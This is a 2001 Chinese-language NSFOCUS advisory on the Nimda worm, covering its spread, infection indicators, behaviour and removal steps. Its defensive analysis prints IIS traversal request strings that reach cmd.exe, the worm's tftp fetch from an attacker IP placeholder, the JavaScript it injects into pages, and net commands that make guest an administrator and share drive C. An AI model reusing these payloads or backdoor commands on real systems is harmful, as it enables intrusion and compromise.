首页 -> 安全研究

安全研究

紧急通告
绿盟科技紧急通告(Alert2001-02)

NSFOCUS安全小组(security@nsfocus.com)
http://www.nsfocus.com

防范"Nimda"蠕虫!

发布日期:2001-09-21


受影响的软件及系统:
====================
Microsoft Windows 95
Microsoft Windows 98
Microsoft Windows ME
Microsoft Windows NT 4.0
Microsoft Windows 2000
Microsoft Windows XP

综述:
======
一种新型的恶意蠕虫"Nimda"(又称"概念病毒(CV) v.5")正在广泛传播。它影响所有未安装补丁的Windows系统,破坏力极大。

分析:
======
该蠕虫使用多种途径进行传播:
  
    。通过email邮件传播
    。通过网络共享传播
    。通过主动扫描并攻击未打补丁的IIS服务器传播
    。通过浏览被篡改网页传播

这个蠕虫的传播利用了如下四个安全漏洞:

    。微软IE异常处理MIME头漏洞
      
      IE在处理MIME头中"Content-Type:"处指定的某些类型时,存在问题,攻击者可以
      利用这类缺陷在IE客户端执行任意命令.
      
      参见下列链接:
      http://security.nsfocus.com/showQuery.asp?bugID=1350
      http://www.microsoft.com/technet/security/bulletin/MS01-020.asp
    
    。Microsoft IIS Unicode解码目录遍历漏洞(中联绿盟安全公告(SA2000-06))
    
      微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户
      可以远程通过IIS执行任意命令
      
      参见下列链接:
      http://www.nsfocus.com/sa-06.htm
      http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
  
    。Microsoft IIS CGI文件名错误解码漏洞(中联绿盟安全公告(SA2001-02))
      
      微软IIS 4.0/5.0在处理CGI程序文件名时存在一个安全漏洞,由于错误地对文件名
      进行了两次解码,攻击者可能利用这个漏洞执行任意系统命令
      
      参见下列链接:
      http://www.nsfocus.com/sa01-02.htm
      http://www.microsoft.com/technet/security/bulletin/ms01-026.asp

    。"CodeRedII"和Sadmind/IIS蠕虫留下的后门程序
      
      参见下列链接:
      http://www.nsfocus.com/alert01-001.htm
      http://www.cert.org/advisories/CA-2001-11.html
    

蠕虫特征:
==========

  。邮件传播时的特征:
    - 邮件信息的主题行文本内容不定
    - 邮件正文显示未空
    - 包含一个名为"readme.exe"的base64编码的可执行附件
    - 附件大小为57344字节
    
  。被感染系统特征:
  
    - 在C:\、D:\、E:\系统盘下以及其他目录下有很多Admin.dll文件
    - 存在大量的readme.eml或者readme.nws文件
    - 存在大量的riched20.dll文件
    - \Windows\System目录下有load.exe文件
    - 在Windows临时目录下存在很多名为"MEP*.TMP.EXE"的文件。
    - C盘被设为共享,共享名为C$
    - guest用户被激活并被加到管理员组
    
    注:上述文件大都被设置了隐藏、系统属性,您需要在资源管理器中设置"查看所有
    类型"文件才可以看到。
    
  。被攻击的IIS服务器的日志记录中有如下字符串:
    
        GET /scripts/root.exe?/c+dir
        GET /MSADC/root.exe?/c+dir
        GET /c/winnt/system32/cmd.exe?/c+dir
        GET /d/winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
        GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
        GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
        GET msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../
        winnt/system32/cmd.exe?/c+dir
        GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
        GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
      
       注:这并不意味着这个系统已经被感染,只是表明曾经遭受过攻击。

    。 从受感染主机会往外部地址TCP 80端口发起大量连接。


蠕虫危害:
==========

    - 产生大量的垃圾邮件
    - 用蠕虫副本替换系统文件,可能影响word,frontpage等软件的正常工作
    - 严重降低系统以及网络性能
    - 创建开放共享,大大降低了系统的安全性
    - 将Guest帐号赋予管理员权限,降低了系统的安全性    

蠕虫行为分析:
============

    
  这个蠕虫的行为可以分为三个部分:传播、系统感染、安装后门
    
  【传播】
  
   。Email传播
    
    蠕虫会向被攻击者的邮件地址发送一封携带了蠕虫附件的邮件。这个邮件由两部分
    MIME类型的信息组成。第一部分的MIME类型为"text/html",但却没有包含文本,因
    此看起来是空的。第二部分的MIME类型为"audio/x-wav",但它实际上携带的是一个
    名为"readme.exe"的base64编码的可执行附件。
    
    利用了“微软IE异常处理MIME头漏洞” 安全漏洞,任何运行在x86平台下并且使用微
    软IE 5.5 SP1或之前版本(IE 5.01 SP2除外)来显示HTML邮件的邮件客户端软件,
    都将自动执行邮件附件。用户甚至只需打开或预览邮件即可使蠕虫被执行。

    被蠕虫攻击的目标邮件的地址从下列两个来源中获得:
    
      。用户web cache文件夹中的.htm和.html文件
      。用户通过MAPI服务收到的email邮件的内容
    
    蠕虫在这些文件中搜索看起来象邮件地址的字符串,然后向这些地址发送一份包含蠕
    虫拷贝的邮件。Nimda蠕虫在Windows注册表中记录最后一批邮件发送的时间,然后每
    10天重复搜索邮件地址并发送蠕虫邮件的过程。
  
   。IIS Web服务器传播
  
     蠕虫会利用两个IIS服务器的目录遍历漏洞和以前的一些IIS蠕虫(CodeRedII和
     Sadmind/IIS)留下的后门程序来进行传播。
    
     蠕虫按照下列几率来选择攻击目标的IP地址:

    。50%的几率,在与本地IP地址前2字节相同的地址(B类网络)中选择一个
    。25%的几率,在与本地IP地址前1字节相同的地址(A类网络)中选择一个
    。25%的几率,随机选择IP地址
    
    蠕虫会首先在启动一个tftp服务器,监听在udp/69端口。
    一旦发现受影响的主机,蠕虫会通过执行类似下列命令来向其发送蠕虫代码:
    "GET /scripts/root.exe?/c+tftp -i attackerIP GET Admin.dll HTTP/1.0"
    
    attackerIP就是正在发起攻击的蠕虫所在的主机IP.
    
    这样被攻击的主机上就产生了一个蠕虫的拷贝,命名为admin.dll.
    
    然后蠕虫会发送类似如下请求来执行蠕虫拷贝:
    "GET /scripts/Admin.dll HTTP/1.0"
    
    对于IIS 5.0,这也利用了另外一个IIS安全漏洞"Microsoft IIS 5.0 系统文件列表
    权限提升漏洞"。如果任何可执行文件的名字与IIS系统文件名列表中的文件匹配,则
    当它通过IIS被执行时就会在IIS 进程空间中运行,也就是以SYSTEM权限执行。
    admin.dll就是Frontapage扩展中所带的一个动态链接库,它刚好在IIS系统文件列表
    中。(参见链接:http://security.nsfocus.com/showQuery.asp?bugID=1748
    
    在执行完TFTP命令之后,当前目录下会产生一些临时文件,例如TFTP68等等,它们也
    是蠕虫拷贝。
    
    Admin.dll被运行时,它会把自己复制到\windows文件夹命名为mmc.exe,然后带上参
    数"-qusery9bnow"运行。
    
    蠕虫会在整个硬盘中搜索后缀为:".HTML"、".ASP"、".HTM",文件名为:"DEFAULT"
    、"INDEX"、"MAIN"、"README"的文件。一旦发现了这样的文件,蠕虫会在该目录下
    创建一个README.EML文件,它是一个由两部分组成的MIME编码的文件,里面也包含了
    蠕虫拷贝。然后蠕虫会在找到的文件的末尾增加如下JvaScript代码:
    <script language="JavaScript">
    window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
    
    这样,其他用户如果使用浏览器浏览被修改的网页或者资源管理(打开了预览功能)
    来浏览共享服务器上的README.EML文件时,利用IE浏览器"异常处理MIME头漏洞",蠕虫
    就可以传播到新的客户端上。

  。文件共享传播
  
    蠕虫访问共享网络资源,然后开始检测远程系统上的文件。
    
    如果发现一个.EXE文件,它将蠕虫代码加到原来文件的前面。下次执行被感染文件时
    将首先执行蠕虫代码。它并不感染'Winzip32.exe'。
    
    如果发现.DOC文件,它将自己拷贝到DOC文件所在目录下,改名为RICHED32.DLL,并
    设置隐藏、系统权限。由于Windows Word在打开该DOC文件时,会首先在当前目录寻
    找RICHED32.DLL,这将首先运行蠕虫代码。这也会大大增大远程用户的感染几率。
    
    它也会利用找到的文档文件的名字创建以.EML和.NWS后缀的文件,这些文件也是带有
    蠕虫拷贝的MIME编码的文件。
    
   【系统感染】
  
   蠕虫会检查注册表中的如下表项:
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
   然后感染所有找到的程序。
  
   蠕虫会将自身拷贝到\Windows\System目录中,命名为load.exe.并修改SYSTEM.INI文件,
   将Shell部分改为如下内容:
   Shell = explorer.exe load.exe -dontrunold
   这样每次系统重启后都会运行蠕虫拷贝。
  
   它会用自身拷贝替换Windows目录下的Riched20.dll.这样下次执行word时会自动执行
   这个蠕虫。

   如果蠕虫是以README.EXE文件名被执行,它会将自身拷贝到windows临时目录中,并使
   用随机文件名,例如'MEP*.TMP.EXE'。
  
   蠕虫在第一次执行时会寻找"EXPLORER"进程,将自己的进程注册为"Explorer"的一个
   远程线程。这样即使用户退出系统,蠕虫仍然可以继续执行。

   【安装后门】
  
   Nimda蠕虫会修改一些注册表项以降低系统安全性,同时也安装了后门。
  
   蠕虫会将所有驱动器设置成共享状态,它会编辑如下注册表项:
   HKLM\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\[C$ -> Z$]
  
   蠕虫会删除下列注册表项的所有子键以禁止共享安全性:
   HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\Shares\Security
  
   蠕虫会修改下列注册表项:
   HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
   调整 'Hidden', 'ShowSuperHidden'和 'HideFileExt' 键值,使得使用资源管理器无
   法显示隐藏文件。这可以保护蠕虫代码被发现。
  
   通过执行下列命令,蠕虫还激活了guest用户,将其密码设置为空,并将其加入到
   Administrators组中(对于Windows NT/2000/XP用户):
   net user guest /add
   net user guest /active
   net user guest ""
   net localgroup Administrators guest
   net localgroup Guests guest /add

   通过执行下列命令,蠕虫将C:\设置为完全共享:
   net share c$=c:\

解决方法:
==========
我们建议受到蠕虫感染的用户重新安装系统,以便清除其他潜在的后门。如果您不能立刻
重装系统,您可以参考下列步骤来清除蠕虫或者防止被蠕虫攻击:

1.  下载IE和IIS的补丁程序到受影响主机上
2.  安装杀毒软件和微软的CodeRedII清除程序
3.  备份重要数据
4.  断开网络连接(例如拔掉网线)
5.  执行杀毒工作,清除可能的CodeRedII蠕虫留下的后门
6.  安装IE和IIS的补丁
7.  重新启动系统
8.  再次运行杀毒软件以确保完全清除蠕虫病毒
9.  采取一些其他的预防措施(见下面的介绍)
10. 将计算机重新与网络连接

注:上述步骤仅供参考。

※  清除蠕虫:

由于蠕虫修改和替换了大量的系统文件,因此手工清除可能比较繁琐而且不易清除干净。
我们建议用户使用最新版本的反病毒厂商的杀毒软件来进行清除工作。目前各大反病毒厂
商都已经可以查杀这种蠕虫病毒。您可能需要多次运行杀毒软件或清除程序,以确保彻底
杀掉受感染的文件。

我们建议您在杀毒之前备份您的重要数据,以避免可能的数据丢失。

具体清除步骤如下(这时应当已经断开网络连接):

1. 对于Windows 95/98/ME用户,您需要手工编辑C:\windows\system.ini(假设您的Windows
   系统安装在C:\),找到如下行:
   Shell = explorer.exe load.exe -dontrunold
   将其改为:
   Shell = explorer.exe
   保存退出
   重新启动计算机
  
2. 运行杀毒软件清除病毒

4. 运行清除CodeRedII蠕虫的工具

5. 重新禁止guest用户,并将guest用户从Administrators组中删除(只有对于Windows NT
   /2000用户需要执行此步骤)

6. 检查您的共享。对于Windows 95/98/ME用户,应当删除各个硬盘的共享。
   对于Windows NT/2000用户,确保您的管理员口令具有足够的强度。

7. 重启动计算机并再次运行杀毒软件以确保完全清除蠕虫病毒


※  为了防止再次被蠕虫感染,您可能需要采取以下防范措施:

。对于不提供IIS服务的普通用户:

1. 您应当首先在IE浏览器菜单中选择:
   工具|Internet选项|安全|Inernet|自定义级别...|
   在“脚本”栏其中禁用"Java 小程序脚本"和"活动脚本"。在“下载”栏中禁止“文件
   下载”。以防止用户浏览被蠕虫感染的页面时自动下载并执行蠕虫代码。

2. 不要执行收到邮件中的附件程序。

3. 根据您浏览器的版本,将您的IE升级到下列最新版本之一:
  
   Internet Explorer 5.01 Service Pack 2:
   http://www.microsoft.com/windows/ie/downloads/recommended/ie501sp2/default.asp
  
   Internet Explorer 5.5 Service Pack 2:
   http://www.microsoft.com/windows/ie/downloads/recommended/ie55sp2/default.asp
  
   Internet Explorer 6:
   http://www.microsoft.com/windows/ie/downloads/ie6/default.asp

注:如果您并不需要使用IIS服务,但是由于缺省安装时选择了IIS服务,那么我们建议您
立刻卸载或者禁止启动IIS服务。

。对于需要提供IIS服务的用户:

1. 禁止任何用户执行tftp.exe和cmd.exe
  
   对于使用NTFS分区的用户,您可以以管理员身份在命令行窗口中执行下列命令:
  
   c:\> cacls %systemroot%\system32\tftp.exe /e /d Everyone
   c:\> cacls %systemroot%\system32\cmd.exe /e /d Everyone
  
  如果您的系统使用的是FAT32分区而不是NTFS分区,上述命令无效,您可以通过将
  tftp.exe和cmd.exe改名来使蠕虫不能执行这两个程序。其他一些重要的程序可能也需要
  进行权限限制,例如net.exe, ftp.exe等等

2. 检查是否您的系统中还有CodeRedII或者Sadmind/IIS蠕虫留下的后门,您可以使用微
  软提供的清除工具CodeRedCleanup来进行清除:
  
   您可以在下列地址下载此工具:
   http://www.microsoft.com/Downloads/Release.asp?ReleaseID=31878
    
3. 使用regedit删除下列键值(可选)

   HKEY_CLASSES_ROOT\.eml
   HKEY_CLASSES_ROOT\.nws

4. 删除不必要的可执行虚拟目录,例如/scripts,/MSADC, /_vti_bin等等。
  
5. 安装最新的安全补丁:

   Windows NT 4系统
    
     . 安装微软最新的IIS安全漏洞补丁合集:
    
     http://www.microsoft.com/Downloads/Release.asp?ReleaseID=32061
    
     注: 在下拉框中选择相应的语言版本(例如简体中文版或者英文版)下载。

    上述补丁可以安装在安装了SP5或者SP6的Windows NT系统中
    
   Windows 2000系统            
  
    . 安装微软最新的IIS安全漏洞补丁合集:
    
    http://www.microsoft.com/Downloads/Release.asp?ReleaseID=32011
    
    注: 在下拉框中选择相应的语言版本(例如简体中文版或者英文版)下载
    
    上述补丁可以安装在SP1或SP2的Windows 2000系统中
    
    注意:安装补丁的时候最好断掉网络连接。

。对于提供了文件共享服务的用户:

检查您的文件共享目录,如果您并不真的需要提供文件共享服务。删除共享。
如果您必须要提供共享服务,确保为其设置足够强度的口令,并尽量禁止共享目录开放写
权限。

附录:各大杀毒厂商的地址:

    杀毒软件厂商信息
    
    Aladding Knowledge Systems
    http://www.eSafe.com/home/csrt/valerts2.asp?virus_no=10087
    
    Central Command, Inc.
    http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?p_refno=010918-000005
    
    Command Software Systems
    http://www.commandsoftware.com/virus/nimda.html
    
    F-Secure Corp
    http://www.datafellows.com/v-descs/nimda.shtml
    
    McAfee
    http://vil.mcafee.com/dispVirus.asp?virus_k=99209
    
    Panda Software
    http://service.pandasoftware.es/library/card.jsp?Virus=Nimda
    
    Proland Software
    http://www.pspl.com/virus_info/worms/nimda.htm
    
    Sophos
    http://www.sophos.com/virusinfo/analyses/w32nimdaa.html
    
    Symantec
    http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html
    
    Trend Micro
    http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A
    http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A
    
    金山公司:
    http://www.iduba.net/resource/special/Concept/index.htm
    
    瑞星公司:
    http://www.rising.com.cn/
    
参考资料:

[1.] CERT Incident Note CA-2001-26 :
     http://www.cert.org/advisories/CA-2001-26.html
[2.] Symantec:
     http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html
[3.] F-Secure Corp
     http://www.datafellows.com/v-descs/nimda.shtml

声 明
==========

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技
============

绿盟科技(NSFOCUS Co., Ltd.)是中国网络安全领域的领导企业,致力于网络和系统安全问题的研究、高端网络安全产品的研发、销售与网络安全服务,在入侵检测/保护、远程评估、 DDoS攻击防护等方面提供具有国际竞争能力的先进产品,是国内最具安全服务经验的专业公司。有关绿盟科技的详情请参见: http://www.nsfocus.com

© 2024 绿盟科技